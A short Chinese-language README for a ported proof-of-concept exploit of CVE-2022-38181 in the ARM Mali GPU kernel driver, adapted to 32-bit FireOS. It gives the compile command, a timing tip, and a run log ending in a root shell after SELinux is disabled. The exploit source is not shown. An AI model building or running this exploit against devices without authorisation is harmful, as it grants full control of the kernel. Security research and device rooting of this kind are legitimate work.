这是安全研究员Man Yue Mo的Pixel 6 POC针对CVE-2022-38181的分支。请阅读他关于该漏洞的详细分析文章。已针对FireOS的32位用户空间进行了修改。该POC利用ARM Mali内核驱动中的漏洞来获得任意内核代码执行，然后用于禁用SELinux并获取root权限。
我使用以下命令在ndk-21中用clang编译：
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o gazelle_shrinker
为了获得最高可靠性，该利用程序应在Cube启动后30-90秒内运行。
gazelle:/ $ /data/local/tmp/gazelle_shrinker
fingerprint: Amazon/gazelle/gazelle:9/PS7613.3701N/0025401652480:user/amz-p,release-keys
failed, retry.
failed, retry.
region freed 47
alias gpu va 100c83000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 6 0
Found freed_idx 6
Found pgd 23, 100d30000
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
gazelle:/ #